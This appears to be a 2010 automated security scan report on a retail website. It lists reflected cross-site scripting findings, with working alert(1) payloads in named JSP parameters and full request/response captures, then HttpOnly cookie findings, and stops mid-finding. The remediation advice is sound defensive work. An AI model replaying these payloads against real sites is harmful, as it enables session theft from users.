Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the fldDisplayType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8996e"style%3d"x%3aexpression(alert(1))"6ecea062b5e was submitted in the fldDisplayType parameter. This input was echoed as 8996e"style="x:expression(alert(1))"6ecea062b5e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /catalog/include_fluid_display.jsp?productId=9403&fldWidth=293px&fldHeight=512px&fldEntityType=P&fldDisplayType=ProductMain8996e"style%3d"x%3aexpression(alert(1))"6ecea062b5e HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; __utmc=108765265; __utmb=108765265.1.10.1293371041; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.a=1293371041311
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Cache-Control: no-store Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 2015 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:05:51 GMT Connection: close Set-Cookie: JSESSIONID=BC3E606A78AAA734B11D0F89C8835C8B; Path=/
The value of the fldDisplayType request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e6141'%3balert(1)//ce5e94ff2cd was submitted in the fldDisplayType parameter. This input was echoed as e6141';alert(1)//ce5e94ff2cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /catalog/include_fluid_display.jsp?productId=9403&fldWidth=293px&fldHeight=512px&fldEntityType=P&fldDisplayType=ProductMaine6141'%3balert(1)//ce5e94ff2cd HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; __utmc=108765265; __utmb=108765265.1.10.1293371041; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.a=1293371041311
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Cache-Control: no-store Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1958 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:05:51 GMT Connection: close Set-Cookie: JSESSIONID=83A95FCEE762C9879A6A2C492D1FECC6; Path=/
The value of the fldDisplayType request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fef45"%3balert(1)//4f324a699f was submitted in the fldDisplayType parameter. This input was echoed as fef45";alert(1)//4f324a699f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /catalog/include_fluid_display.jsp?productId=9403&fldWidth=293px&fldHeight=512px&fldEntityType=P&fldDisplayType=ProductMainfef45"%3balert(1)//4f324a699f HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; __utmc=108765265; __utmb=108765265.1.10.1293371041; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.a=1293371041311
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Cache-Control: no-store Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1955 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:05:51 GMT Connection: close
<html> <head> <!-- Fluid JS BEGIN --> <script type="text/javascript" src="http://images.orchardbrands.com/blair/assets/product/standard/v2/js/fluid/retail/Flu ...[SNIP]... <script type="text/javascript"> var viewerId = "display:696:P-9403:ProductMainfef45";alert(1)//4f324a699f"; var displayControlXmlVal = '<display-control id=\"P-9403_ProductMainfef45";alert(1)//4f324a699f\"> ...[SNIP]...
The value of the fldEntityType request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fa0ef"%3balert(1)//ccfd7f65109 was submitted in the fldEntityType parameter. This input was echoed as fa0ef";alert(1)//ccfd7f65109 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /catalog/include_fluid_display.jsp?productId=9403&fldWidth=293px&fldHeight=512px&fldEntityType=Pfa0ef"%3balert(1)//ccfd7f65109&fldDisplayType=ProductMain HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; __utmc=108765265; __utmb=108765265.1.10.1293371041; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.a=1293371041311
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Cache-Control: no-store Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1958 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:05:50 GMT Connection: close Set-Cookie: JSESSIONID=403F262AA43C95685538E3B9C4AEAA8C; Path=/
<html> <head> <!-- Fluid JS BEGIN --> <script type="text/javascript" src="http://images.orchardbrands.com/blair/assets/product/standard/v2/js/fluid/retail/Flu ...[SNIP]... <script type="text/javascript"> var viewerId = "display:696:Pfa0ef";alert(1)//ccfd7f65109-9403:ProductMain"; var displayControlXmlVal = '<display-control id=\"Pfa0ef";alert(1)//ccfd7f65109-9403_ProductMain\"> ...[SNIP]...
The value of the fldEntityType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfee6"style%3d"x%3aexpression(alert(1))"e6d33be0f54 was submitted in the fldEntityType parameter. This input was echoed as cfee6"style="x:expression(alert(1))"e6d33be0f54 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /catalog/include_fluid_display.jsp?productId=9403&fldWidth=293px&fldHeight=512px&fldEntityType=Pcfee6"style%3d"x%3aexpression(alert(1))"e6d33be0f54&fldDisplayType=ProductMain HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; __utmc=108765265; __utmb=108765265.1.10.1293371041; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.a=1293371041311
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Cache-Control: no-store Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 2015 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:05:49 GMT Connection: close Set-Cookie: JSESSIONID=802CBD43821506FB67CD7640906BD729; Path=/
The value of the fldEntityType request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b3e2'%3balert(1)//60a5b721295 was submitted in the fldEntityType parameter. This input was echoed as 5b3e2';alert(1)//60a5b721295 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /catalog/include_fluid_display.jsp?productId=9403&fldWidth=293px&fldHeight=512px&fldEntityType=P5b3e2'%3balert(1)//60a5b721295&fldDisplayType=ProductMain HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; __utmc=108765265; __utmb=108765265.1.10.1293371041; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.a=1293371041311
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Cache-Control: no-store Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1958 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:05:50 GMT Connection: close Set-Cookie: JSESSIONID=F2ADAE61FA7FAC8737FFB9CD1F1D1A6C; Path=/
The value of the fldHeight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f766a"style%3d"x%3aexpression(alert(1))"a1f9e207672 was submitted in the fldHeight parameter. This input was echoed as f766a"style="x:expression(alert(1))"a1f9e207672 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /catalog/include_fluid_display.jsp?productId=9403&fldWidth=293px&fldHeight=512pxf766a"style%3d"x%3aexpression(alert(1))"a1f9e207672&fldEntityType=P&fldDisplayType=ProductMain HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; __utmc=108765265; __utmb=108765265.1.10.1293371041; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.a=1293371041311
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Cache-Control: no-store Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1921 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:05:49 GMT Connection: close Set-Cookie: JSESSIONID=56BDB4E83CAEB3E3D84A1C38125DBD29; Path=/
The value of the fldWidth request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b57b"style%3d"x%3aexpression(alert(1))"1f845ed25d1 was submitted in the fldWidth parameter. This input was echoed as 3b57b"style="x:expression(alert(1))"1f845ed25d1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /catalog/include_fluid_display.jsp?productId=9403&fldWidth=293px3b57b"style%3d"x%3aexpression(alert(1))"1f845ed25d1&fldHeight=512px&fldEntityType=P&fldDisplayType=ProductMain HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; __utmc=108765265; __utmb=108765265.1.10.1293371041; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.a=1293371041311
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Cache-Control: no-store Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1921 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:05:49 GMT Connection: close Set-Cookie: JSESSIONID=3CE1884D62EAB89D1A8B8F4198E7DD19; Path=/
The value of the TYPE request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96866"><script>alert(1)</script>a3435431722 was submitted in the TYPE parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /catalog/include_product_variant_block.jsp?productId=9403&isGenerated=true&TYPE=96866"><script>alert(1)</script>a3435431722 HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 2244 Content-Type: text/html;charset=ISO-8859-1 X-Pad: avoid browser bug Date: Sun, 26 Dec 2010 14:20:47 GMT Connection: close Set-Cookie: JSESSIONID=303D18B227AF31706961651F3D19ACE1; Path=/
<!-- BUG00792 : FS: Error message is not displayed in the item page - Fix --> <div class="item-level-notification"> <span id="error-productVariantId" class="error-general error glo-tex ...[SNIP]... <input class="variant-type" name="type" type="hidden" value="96866"><script>alert(1)</script>a3435431722"/> ...[SNIP]...
2. Cookie without HttpOnly flag setpreviousnext There are 18 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /catalog/alt_image_popup.jsp HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 298 Content-Type: text/html;charset=ISO-8859-1 X-Pad: avoid browser bug Date: Sun, 26 Dec 2010 14:20:38 GMT Connection: close Set-Cookie: JSESSIONID=4A93020B0398365E1510B5F82B074FB8; Path=/
<!-- Omniture-->
<script language="javascript" type="text/javascript"> /* Copyright 1997-2007 Omniture, Inc. */ var s=s_gi(s_account); s.linkTrackVars="events,products"; s.linkTrac ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /catalog/catalog_order.jsp HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Content-Length: 19544 Date: Sun, 26 Dec 2010 14:20:30 GMT Connection: close Set-Cookie: JSESSIONID=4C018E2EC1B59555E67B800D32F0F931; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /catalog/email_a_friend.jsp HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 5746 Content-Type: text/html;charset=ISO-8859-1 X-Pad: avoid browser bug Date: Sun, 26 Dec 2010 14:20:34 GMT Connection: close Set-Cookie: JSESSIONID=13AB6A6E35AF9C7F6B637CB8C87CE697; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Email A Friend - Blair ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /catalog/email_a_friend_body.jsp HTTP/1.1 Host: www.blair.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=843784832162782; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.s={"v":1,"rid":"1293371047028_239629"}; mr_domainUserTicketID=2a0729c5-0ba4-8b13-dd82-c97e5a642657; JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ResonanceSegment=1; s_sq=%5B%5BB%5D%5D; s_v11=Not%20Logged%20In; fsr.a=1293371046457; mr_referredVisitor=1; s_cc=true; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; s_vi=[CS]v1|268BA358851D1785-600001036003FFBA[CE]; __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; RES_TRACKINGID=99565994460135; gpv_pn=Product%20Detail%3A%20Table%20Top%20Air%20Hockey%20Game; __utmc=108765265; __utmb=108765265.1.10.1293371041;
Response
HTTP/1.1 200 OK Server: Apache Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Cache-Control: no-cache Content-Length: 4914 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 14:20:36 GMT Connection: close Set-Cookie: JSESSIONID=1CB1BF7880BC86136C293CC4C3ADA3F7; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
